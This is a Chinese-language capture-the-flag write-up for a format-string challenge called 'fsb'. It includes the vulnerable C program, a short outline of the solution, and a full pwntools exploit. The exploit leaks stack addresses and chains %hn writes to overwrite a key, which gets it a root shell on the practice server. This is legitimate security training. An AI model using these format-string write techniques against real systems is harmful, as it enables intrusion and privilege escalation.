首先是一个小坑,坑人的坑。题目给的32位no PIE的程序与远程上的不同,远程是64位开PIE。
程序先作了一个抬栈,然后可以输入4次printf,再输入key相同则给出shell (远程有原码,很容易看)
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
setuid(0);
setgid(0);
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);
fsb(argv, envp); // exploit this format string bug!
return 0;
}
解题思路:
- 这个先找到一个栈内地址偏移9-12都是,这里选11。
- 由于程序通过随机抬栈要找main后边的栈链就需要确定偏移,这里用18:rbp来计算后部的偏移量。
- ret地址与key地址差3字节,在后边找两个链同时处理一个改为指向ret一个改为ret+2
- 将ret修改为key然后将key改为0
完整exp:
from pwn import *
local = 0
if local == 1:
p = process('./fsb')
else:
shell = ssh(host='node4.buuoj.cn', port=28319, user='fsb', password='guest')
p = shell.process('./fsb')
libc_elf = ELF('../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./fsb')
context.arch = 'amd64'
context.log_level = 'debug'
'''
0x00007fffb7727628│+0x0030: 0x00007fffb7727608 → 0x0000000000000000 #11
0x00007ffde04074e0│+0x0068: 0x00007ffde0409540 → 0x0000563d9fd9bc30 → <__libc_csu_init+0> push r15 ← $rbp #18
0x00007ffde04074e8│+0x0070: 0x0000563d9fd9bc0e → <main+198> mov eax, 0x0 #19
#两个链
0x00007ffde0409558│+0x0018: 0x00007ffde0409628 → 0x00007ffde040b41f → 0x0000000000000000
0x00007ffde04095c8│+0x0088: 0x00007ffde0409638 → 0x00007ffde040b425 → 0x0000000000000000
'''
#p.sendlineafter(b'1)\n', b'%p-'*20)
#b'0x5590f12520e0-0x64-0x7f13598b6142-(nil)-0x1f-(nil)-(nil)-(nil)-0x7ffce22d32d0-0x7ffce22d4ff1-0x7ffce22c0d48-0x7ffce22c0d40-(nil)-0x5590f1050cb8-(nil)-(nil)-0xace052eb1c47d900-0x7ffce22d3040-0x5590f1050c0e-(nil)-\n'
#1
p.sendlineafter(b')\n', b'%11$p,%18$p,%19$p,')
b11 = int(p.recvuntil(b',', drop=True), 16)
b18 = int(p.recvuntil(b',', drop=True), 16)
b19 = int(p.recvuntil(b',', drop=True), 16)
key = b19 - 0xc0e + 0x202040
offset = (b18 - b11)//8 +7
off_n1 = offset+3
off_n2 = offset+17
off_p1 = off_n1 + 26
off_p2 = off_n2 + 14
#p.sendlineafter(b')\n', f'%{off_n1}$p,%{off_n2}$p,%{off_p1}$p,%{off_p2}$p,'.encode())
#p.recv()
#2
ptr_1 = (b11+0x60)&0xffff
ptr_2 = (b11+0x60+2)&0xffff
p.sendlineafter(b')\n', f'%{ptr_1}c%{off_n1}$hn%2c%{off_n2}$hnAAAA'.encode())
p.recvuntil(b'AAAA')
#3
key_12 = key & 0xffff
key_3 = (key & 0xff0000) >>16
p.sendlineafter(b')\n', f'%{key_3}c%{off_p2}$hhn%{key_12 - key_3}c%{off_p1}$hnAAAA'.encode())
p.recvuntil(b'AAAA')
#4
p.sendlineafter(b'4)\n', b'%19$llnAAAA')
p.recvuntil(b'AAAA')
#key
p.sendlineafter(b"key : \n", b'0')
#gdb.attach(p)
#pause()
p.sendline(b'cat flag.txt')
p.interactive()